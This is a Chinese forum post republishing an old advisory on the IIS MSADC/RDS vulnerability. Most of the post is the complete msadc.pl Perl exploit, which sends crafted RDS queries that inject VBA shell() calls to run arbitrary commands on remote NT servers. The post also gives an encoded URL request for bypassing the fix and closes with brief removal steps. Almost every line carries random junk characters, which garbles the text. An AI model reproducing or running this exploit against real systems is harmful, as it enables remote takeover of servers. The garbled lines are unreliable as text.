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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Xq8uY/j  
'!j #X_;  
涉及程序: 6?3/Ul }  
Microsoft NT server Ie G7@  
D EUd[  
描述: <&qpl0U)Y  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 P3>..fhoW  
S3ab0JM  
详细: 0`VD!_`  
如果你没有时间读详细内容的话,就删除: !G)mjvEe  
c:\Program Files\Common Files\System\Msadc\msadcs.dll w+Z--@\  
有关的安全问题就没有了。 "*Lj8C3|n  
8 3z'#  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 :X'*8,]KHH  
z +3<$Z  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 LJRg>8  
关于利用ODBC远程漏洞的描述,请参看: ZNzR `6}  
_'! aj +{  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &\;<t, 3A~  
T[5gom  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 P &;y] ,)E  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Od0S2hHO  
_u:>1]  
这里不再论述。 Qqd6.F  
pP|,7c5  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: UJee&4C-y  
82j'MgGP  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset !cq=)xR  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! "C_T]%'Wm  
!Gln Q`T  
5x*5|8  
#将下面这段保存为txt文件,然后: "perl -x 文件名" f,St h7y  
k sB  
#!perl q+YuVQ-fx  
# SQq6X63 \  
# MSADC/RDS 'usage' (aka exploit) script 1^Kj8*O8e  
# mgi,b2  
# by rain.forest.puppy [<]Y+33  
# Uby,Tu  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me <U@P=G<t  
# beta test and find errors! $7Jfb<y  
nkCecwzr-  
use Socket; use Getopt::Std; *ZGX-+{  
getopts("e:vd:h:XR", \%args); N=OS\pz  
)>(L{y|uYX  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; gKmX^A5<  
GE%2/z p  
if (!defined $args{h} && !defined $args{R}) { u~" siH  
print qq~ UppBnw  
Usage: msadc.pl -h <host> { -d <delay> -X -v } xj0cgK|!  
-h <host> = host you want to scan (ip or domain) PV?]UUc'n<  
-d <seconds> = delay between calls, default 1 second m!rwG(  
-X = dump Index Server path table, if available F0@Qgk]\  
-v = verbose \n[ 392  
-e = external dictionary file for step 5 ?k [%\jq{a  
.CVUEK@Z4  
Or a -R will resume a command session k1wCa^*gc  
"e~k-\^Y  
~; exit;} S3SV.C:z>  
'I&|1I^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ,`;jvY~Ec  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ./#e1m?.  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 'dkXYtKCB  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); #2h+dk$1  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Ds {{J5Um%  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } i\(\MzW*'  
M(qxq(#{U  
if (!defined $args{R}){ $ret = &has_msadc; PKi_Zh.D  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} GtF2@\  
kGpV;F==*  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Ee&hG[sx  
. "cmd /c "; } <SNO)h3  
$in=<STDIN>; chomp $in; vKU`C?,L  
$command="cmd /c " . $in ; :bwM]k*$  
=g@R%NDNV  
if (defined $args{R}) {&load; exit;} zu52 p4  
CE{z-_{ ^  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; D,k(~  
&try_btcustmr; WElrk:b  
4_tR9w"  
print "\nStep 2: Trying to make our own DSN..."; g]za"U|g  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 0Qm"n6NQ  
j8pFgnQ  
print "\nStep 3: Trying known DSNs..."; +L0J_.5%^  
&known_dsn; CoJ55TAW  
^"1TPd|  
print "\nStep 4: Trying known .mdbs..."; cFLd)mt/  
&known_mdb; 4GVNw!V  
T'8RkDI}-  
if (defined $args{e}){ YZibi  
print "\nStep 5: Trying dictionary of DSN names..."; X6xx2v%D  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } [Gh"ojt]w  
opdu=i=E  
print "Sorry Charley...maybe next time?\n"; !6Q`>s]  
exit; \E Z+#3u  
BjiYv}J  
############################################################################## ,*dzJT$k  
F+Z2U/'a  
sub sendraw { # ripped and modded from whisker 9UP:J0 `  
sleep($delay); # it's a DoS on the server! At least on mine... _vL<h$vD  
my ($pstr)=@_; &Cq{ _M  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .!i0_Rv5x  
die("Socket problems\n"); ;+ G9-  
if(connect(S,pack "SnA4x8",2,80,$target)){ ^ |aNG`|O  
select(S); $|=1; @44P4?;  
print $pstr; my @in=<S>; +jtA&1cf  
select(STDOUT); close(S); " \:ced  
return @in; &s:=qQa1  
} else { die("Can't connect...\n"); }} @;m$ua*|:  
;`kWpM;  
############################################################################## W}h|K:-S  
X/Y#U\  
sub make_header { # make the HTTP request O-j$vzHpdY  
my $msadc=<<EOT  {7X#4o0  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 2Pp&d>E4  
User-Agent: ACTIVEDATA |6%.VY2b  
Host: $ip "V 3}t4  
Content-Length: $clen .B>B`q;B  
Connection: Keep-Alive %,|ztH/ Q  
t^.'>RwW|  
ADCClientVersion:01.06 )Pli})   
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 M-Y0xWs  
}~Q5Y3]#~  
--!ADM!ROX!YOUR!WORLD! 5[4Z=RP  
Content-Type: application/x-varg XrS\+y3  
Content-Length: $reqlen L,~MicgV  
^uW%v2  
EOT uUG*0Lj  
; $msadc=~s/\n/\r\n/g; Wr>(#*r7q  
return $msadc;} pCC7(Ouo  
9= V>f )R  
############################################################################## dv7<AJ  
m"4B!S&Fc(  
sub make_req { # make the RDS request s*Ih_Ag=:  
my ($switch, $p1, $p2)=@_; 4<.O+hS  
my $req=""; my $t1, $t2, $query, $dsn; r~8;kcu7  
DZe}y^F  
if ($switch==1){ # this is the btcustmr.mdb query 5 lTD]d  
$query="Select * from Customers where City=" . make_shell(); Q.k :\m*h  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . /s c.C  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}  ]>Si0%  
i[150g?K  
elsif ($switch==2){ # this is general make table query iCTQ]H3  
$query="create table AZZ (B int, C varchar(10))"; LmQ/#Gx  
$dsn="$p1";} Z)&D`RCf  
=-~;OH /  
elsif ($switch==3){ # this is general exploit table query cS|VJWgTZ  
$query="select * from AZZ where C=" . make_shell();  i-W  
$dsn="$p1";} '# z]M  
|;u}sX1t9  
elsif ($switch==4){ # attempt to hork file info from index server s-k_d<  
$query="select path from scope()"; z<pJYpxH  
$dsn="Provider=MSIDXS;";} \cQ .|S  
R#(G%66   
elsif ($switch==5){ # bad query 4DLq}v  
$query="select"; zX kx7d8  
$dsn="$p1";} "+|L_iuNQ  
s&'BM~WI  
$t1= make_unicode($query); !gH 9ay  
$t2= make_unicode($dsn); ~O;y?]U  
$req = "\x02\x00\x03\x00"; hazq#J!  
$req.= "\x08\x00" . pack ("S1", length($t1)); Pl+xH%U+?  
$req.= "\x00\x00" . $t1 ; 6:?rlh  
$req.= "\x08\x00" . pack ("S1", length($t2)); )"`!AerJ  
$req.= "\x00\x00" . $t2 ; 4:mCXP,x  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; |NrrTN?>  
return $req;} 0xpx(T[  
TfRGA (+#  
############################################################################## ^Y04qeRd  
T&xt` |  
sub make_shell { # this makes the shell() statement MJ\[Dt  
return "'|shell(\"$command\")|'";} ?_q+&)4-o  
9<s4yZF@x  
############################################################################## ~]WVG@-  
c8A`<-\MfB  
sub make_unicode { # quick little function to convert to unicode [B^G-  
my ($in)=@_; my $out; 44sy`e  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } # |^^K!%  
return $out;} Cd]/  
GBP-V66  
############################################################################## ._ CP% R  
<7n]Ai@Y  
sub rdo_success { # checks for RDO return success (this is kludge) 1H{jy^sP7  
my (@in) = @_; my $base=content_start(@in); +.Bmkim  
if($in[$base]=~/multipart\/mixed/){ &uM^0eM  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} GXX+}=b7qO  
return 0;} SwH2$:f  
&ZJgQ-Pc(m  
############################################################################## ^# e~g/  
Veji^-0E  
sub make_dsn { # this makes a DSN for us rt4Z;  
my @drives=("c","d","e","f"); O~@fXMthh  
print "\nMaking DSN: "; 8Fq_i-u  
foreach $drive (@drives) { >UHa  
print "$drive: "; #S5`Pd!I  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . -<N&0F4|*  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" K`k'}(vj  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); nWWM2v  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 8`v$liH  
return 0 if $2 eq "404"; # not found/doesn't exist H?yE3 w  
if($2 eq "200") { Q:MhjkOr}  
foreach $line (@results) { kzO&24  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 'Qn~H[$/p  
} return 0;} KhaYr)&~  
o-eKAkh  
############################################################################## ^_>!B)  
orIQ~pF#  
sub verify_exists { jo98 jA<  
my ($page)=@_; \u{8Bak0  
my @results=sendraw("GET $page HTTP/1.0\n\n"); qpqokK  
return $results[0];} -5>NE35Cto  
=%qEf   
############################################################################## @"|i"Hk^  
9 E1W|KE  
sub try_btcustmr { IA*KaX2S<  
my @drives=("c","d","e","f"); x?r1s#88>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); K7`YJp`i  
P $ >`  
foreach $dir (@dirs) { ?tYpc_p#  
print "$dir -> "; # fun status so you can see progress UAYd?r  
foreach $drive (@drives) { rwqv V ^  
print "$drive: "; # ditto /8gL.i$  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; sR_xe}-  
$reqlenlen=length( "$reqlen" ); {'bip`U.  
$clen= 206 + $reqlenlen + $reqlen; 7*+TP~WI  
j"7 JLe*  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \4bWWy  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} v[S-Pi1  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 'Ud| Ex@A9  
3/goCg  
############################################################################## >+9JD%]x]  
d"T Ht}  
sub odbc_error { ;")A{tX2  
my (@in)=@_; my $base; J7&DR^.Sw  
my $base = content_start(@in); Fhj8lVvk  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this [}o~PN:sT(  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; k%Vv?{g  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; g-)mav  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; cT'w=  
return $in[$base+4].$in[$base+5].$in[$base+6];} fCUT[d+H  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; [Ot,q/hBJ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 3]LN;s]ac  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} JW+*d`8Z[  
(> "QVxr  
############################################################################## ^toAw8A=@0  
:FQ1[X1 xm  
sub verbose { f3PMVf:<  
my ($in)=@_; z&+ zl6  
return if !$verbose; d;G~hVu  
print STDOUT "\n$in\n";} m( 47s  
=Hu0v}i/  
############################################################################## TI9X.E?  
z,Lzgh  
sub save { & 0v.E"0<  
my ($p1, $p2, $p3, $p4)=@_; M}F~_S0h  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; }ot"Sx\.  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; d@kc[WLD^  
close OUT;} wNQqfq Z  
G=d(*+& B  
############################################################################## 5nLDj:C~  
,=%nw]:  
sub load { }Uw#f@Wh  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; >bm|%Ou"  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  Ewo~9 4{  
@p=<IN>; close(IN); 1]OSWCEm*[  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); |X(2Zv^O  
$target= inet_aton($ip) || die("inet_aton problems"); lAASV{s{  
print "Resuming to $ip ..."; -l*g~7|j  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ae`|ic  
if($p[1]==1) { UQ8bN I7  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Omyt2`q  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 1;r69e  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); #MgvG,  
if (rdo_success(@results)){print "Success!\n";} kDsIp=  
else { print "failed\n"; verbose(odbc_error(@results));}} Tj`5L6N;8  
elsif ($p[1]==3){ ;+_8&wbqW  
if(run_query("$p[3]")){ JdNF-64ky  
print "Success!\n";} else { print "failed\n"; }} bI ITPxz  
elsif ($p[1]==4){ _ Jc2&(;  
if(run_query($drvst . "$p[3]")){ _a'A~JY  
print "Success!\n"; } else { print "failed\n"; }} hU {-a`  
exit;} yfe'>]7  
%%}A|,  
############################################################################## ^gR+S  
]qktj=p  
sub create_table { l\Ftr_Dk  
my ($in)=@_; {BV4h%P]:  
$reqlen=length( make_req(2,$in,"") ) - 28; XB\zkf_}Xc  
$reqlenlen=length( "$reqlen" ); 6Z! y  
$clen= 206 + $reqlenlen + $reqlen; 'ZHdV,dd  
my @results=sendraw(make_header() . make_req(2,$in,"")); ; st\I  
return 1 if rdo_success(@results); T[uDZYx  
my $temp= odbc_error(@results); verbose($temp); O.+9,4A(  
return 1 if $temp=~/Table 'AZZ' already exists/; $RO$}!  
return 0;} trYTs,KV  
o'= VZT9  
############################################################################## _6LoVS  
-T_\f?V88  
sub known_dsn { _j ;3-m  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go t&RruwN_;  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", O!F]^'!  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", *"9<TSU%m  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); _%pAlo_6  
4<v;1   
foreach $dSn (@dsns) { C7qYiSv  
print "."; vq6%Ey3Gix  
next if (!is_access("DSN=$dSn")); ygViPz<J  
if(create_table("DSN=$dSn")){ y\PxR708  
print "$dSn successful\n"; ;A#~` P  
if(run_query("DSN=$dSn")){ :)c80`-E  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { c@du2ICUc  
print "Something's borked. Use verbose next time\n";}}} print "\n";} bXdY\&fE  
2@i;_3sv  
############################################################################## cyF4iG'M,y  
Dkw7]9Qm  
sub is_access { SI-X[xf  
my ($in)=@_; i/qTFQst _  
$reqlen=length( make_req(5,$in,"") ) - 28; JOfV]eCL  
$reqlenlen=length( "$reqlen" ); !]b@RUU  
$clen= 206 + $reqlenlen + $reqlen; NPJ.+ph  
my @results=sendraw(make_header() . make_req(5,$in,"")); (6qsKX  
my $temp= odbc_error(@results); v Xcy#  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 7_)|I? =0d  
return 0;} At9X]t  
}T(z4P3  
############################################################################## Wmz`&nsn[  
Fdt}..H%  
sub run_query { )"u:ytK{  
my ($in)=@_; %+tV/7|F  
$reqlen=length( make_req(3,$in,"") ) - 28; &RY)o^g[4  
$reqlenlen=length( "$reqlen" ); S+I^!gT  
$clen= 206 + $reqlenlen + $reqlen; AV4~U:vU  
my @results=sendraw(make_header() . make_req(3,$in,""));  *4yN3y  
return 1 if rdo_success(@results); 2$0)?ZC?=  
my $temp= odbc_error(@results); verbose($temp); l5 J.A@0  
return 0;} 8LrK94  
`wO}Hz  
############################################################################## 7 .+al)hl  
nX[;^v/  
sub known_mdb { ZK dh%8C  
my @drives=("c","d","e","f","g"); N}Q FGX  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [)|+F wJ  
my $dir, $drive, $mdb; (B#(Z=  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; dOXD{c  
=ApY9`  
# this is sparse, because I don't know of many Q7a(P  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ?q$P>guH6-  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", *\ECf .7jz  
"\\system32\\certmdb.mdb", ExrY>*v  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 6 =>G#  
w|Qd`  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", v\0^mp  
"\\cfusion\\cfapps\\forums\\forums_.mdb", b! tludb  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 36A;!1  
"\\cfusion\\cfapps\\security\\realm_.mdb", EXbTCT}`x  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", z`#_F}v,m/  
"\\cfusion\\database\\cfexamples.mdb", 5~}!@yzc  
"\\cfusion\\database\\cfsnippets.mdb", Fd8hGj1  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", d*-Xuv  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", =AkX4k  
"\\cfusion\\brighttiger\\database\\cleam.mdb", x_:hii?6V  
"\\cfusion\\database\\smpolicy.mdb", WU\m^!`w=F  
"\\cfusion\\database\cypress.mdb", F`& >NQb  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Eo=HNe  
"\\website\\cgi-win\\dbsample.mdb", o# {#r@,i  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", kL;t8{n  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" {ymb\$f  
); #these are just r{ @ `o@q  
foreach $drive (@drives) { (%DRt4u <H  
foreach $dir (@dirs){ hyu}}0:  
foreach $mdb (@sysmdbs) { vLn> 4SK  
print "."; <\D Uo0]J  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ z,+m[x=/N  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; r)B3es&&  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){  1N.tQ^  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; l l:jsm  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ? ( 12aU  
2OCdG  
foreach $drive (@drives) { RKe?.  
foreach $mdb (@mdbs) { 2"M_sL  
print "."; .^H1\p];Lw  
if(create_table($drv . $drive . $dir . $mdb)){ @ ;J|xkJ  
print "\n" . $drive . $dir . $mdb . " successful\n"; #313 (PWH  
if(run_query($drv . $drive . $dir . $mdb)){ JtmQzr0>  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ?>?ZAr  
} else { print "Something's borked. Use verbose next time\n"; }}}} _85E=  
} viV-e$s`.  
P^4'|#~2T  
############################################################################## <^sAY P|  
l $Zs~@N  
sub hork_idx { J/7 u7_  
print "\nAttempting to dump Index Server tables...\n"; M?hFCt3Y  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; <2)v9c  
$reqlen=length( make_req(4,"","") ) - 28; Y6;@/[_  
$reqlenlen=length( "$reqlen" ); -W^2*w   
$clen= 206 + $reqlenlen + $reqlen; %zQ2:iT5@=  
my @results=sendraw2(make_header() . make_req(4,"","")); }AAbhr9d}  
if (rdo_success(@results)){ Y3M','H([  
my $max=@results; my $c; my %d; K~JC\a\0  
for($c=19; $c<$max; $c++){ :BDviUC7Z  
$results[$c]=~s/\x00//g; C$y fMK,,N  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; }wL3mVz  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ?>TbT fmR  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; MM*-i=  
$d{"$1$2"}="";} ,O9`X6rh'  
foreach $c (keys %d){ print "$c\n"; } u]#8 $M2  
} else {print "Index server doesn't seem to be installed.\n"; }} O 3}P07  
-faw:  
############################################################################## ~ i'C/[P  
.-%oDuB5zF  
sub dsn_dict { ]>*I)H)  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6\mC$:F  
while(<IN>){ 2w7@u/OC'  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 9BurjG1k?  
next if (!is_access("DSN=$dSn")); KM@`YV_"g  
if(create_table("DSN=$dSn")){ %\_h7:  
print "$dSn successful\n"; gyg|Tno  
if(run_query("DSN=$dSn")){ 4sQ~&@[Q+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Bf(Mot^  
print "Something's borked. Use verbose next time\n";}}} 04[)qPPS  
print "\n"; close(IN);} dcR6KG8  
y|LXDq4Wj  
############################################################################## #nDL  
5Wl,J _<F  
sub sendraw2 { # ripped and modded from whisker (ai72#nFtb  
sleep($delay); # it's a DoS on the server! At least on mine... C64eDX^  
my ($pstr)=@_; -%N}A3m!5  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wEv*1y4  
die("Socket problems\n"); rl41# 6  
if(connect(S,pack "SnA4x8",2,80,$target)){ a6 * Y%?  
print "Connected. Getting data"; {cX7<7N  
open(OUT,">raw.out"); my @in; |:/ @t  
select(S); $|=1; print $pstr; 9XY|V<}  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} "$4hv6 s  
close(OUT); select(STDOUT); close(S); return @in; Z%A<#%    
} else { die("Can't connect...\n"); }} Xe> ~H4I9  
AF QnCl Of  
############################################################################## R+x%r&L5F  
'> 4+WZ1w5  
sub content_start { # this will take in the server headers +-",2 d+g  
my (@in)=@_; my $c; :az!H"4W/  
for ($c=1;$c<500;$c++) { xQZ MCd  
if($in[$c] =~/^\x0d\x0a/){ <vO8_2,V-  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } <w%DyRFw3  
else { return $c+1; }}} RNl\`>Cz  
return -1;} # it should never get here actually 5auL<Pq   
}]Qmt5'NI  
############################################################################## >DkN+S  
bmSpbX\  
sub funky { <w%Yq?^  
my (@in)=@_; my $error=odbc_error(@in); sCL/pb]  
if($error=~/ADO could not find the specified provider/){ Yoj~|qL  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 18J.vcP  
exit;} JJ*0M(GG  
if($error=~/A Handler is required/){ XC 57];-  
print "\nServer has custom handler filters (they most likely are patched)\n"; U8Cw7u2  
exit;} P=}H1 #  
if($error=~/specified Handler has denied Access/){ zl,bMtQ  
print "\nServer has custom handler filters (they most likely are patched)\n"; rZb_1E<  
exit;}} l6yB_ M  
`W D*Q-&n  
############################################################################## )sMAhk|  
AW]("pt  
sub has_msadc { IZzhJK M1V  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); G >I.  
my $base=content_start(@results); s}z(|I rH  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); B6^w{eXN  
return 0;} %kaTQ"PB  
aEV|>K=6Y'  
######################## p]X!g  
4Q &Xb <  
^p'D<!6sK  
解决方案: F%Ro98?{  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Cj`pw2.  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ^F;Z%5P=  
:8p2Jxm  
拿出来充数 哈哈
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